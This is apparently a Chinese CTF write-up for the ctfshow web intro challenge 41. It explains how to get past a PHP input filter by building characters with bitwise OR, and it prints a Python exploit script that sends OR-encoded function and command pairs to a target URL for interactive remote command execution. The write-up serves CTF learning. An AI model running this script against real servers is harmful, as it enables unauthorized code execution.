ctfshow web入门41
2024-10-21 20:41:24
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字。
但是特意留了个或运算符|。
由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用的字符。
羽师傅给了两个脚本(详见篇末的博客链接):
这个脚本用于生成可用字符的集合
跑完之后我们得到:
其中使用的都是十六进制
比如A,十六进制的四十是64 ,64+1等于65,正是A的ascll码
另外PHP大小写都合法,或运算能得到ascll码之后,我们可以上手拼命令了(
问题来了,虽然拼出来了,但是是不能执行的。
可以看到里面是有换行符(%0d %0c),会影响命令的执行。
这时候我们看看羽师傅的第二个脚本:
大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数get flag
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
\#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
本题考点是如何用异或构造任意的字符。
https://blog.csdn.net/miuzzx/article/details/108569080
最新文章
- block传值和代理传值的异同点
- JSP中文乱码问题
- Python之路【目录】 2
- Ubuntu中给eclipse和android studio添加桌面快捷图标
- VB6 GDI+ 入门教程[7] Graphics 其他内容
- 5步解决移动设备上的300ms点击延迟
- 教程-DelphiXE7如何调用Java Class,JAR等文件?
- 转:zookeeper3.4.5安装笔记
- 常见的DoDataExchange什么意思
- 【NET】Winform用户控件的初步封装之编辑控件
- Guava - Ordering
- word embeddding和keras中的embedding
- eclipse——JDK安装与环境变量配置步骤
- 理解maven中SNAPSHOT版本的作用
- python 基本数据类型 之 字符串
- centos7 hbase 搭建笔记
- View的工作原理(一) 总览View的工作流程
- Ubuntu升级到18.04
- C++ 结构体和枚举
- object-oriented first work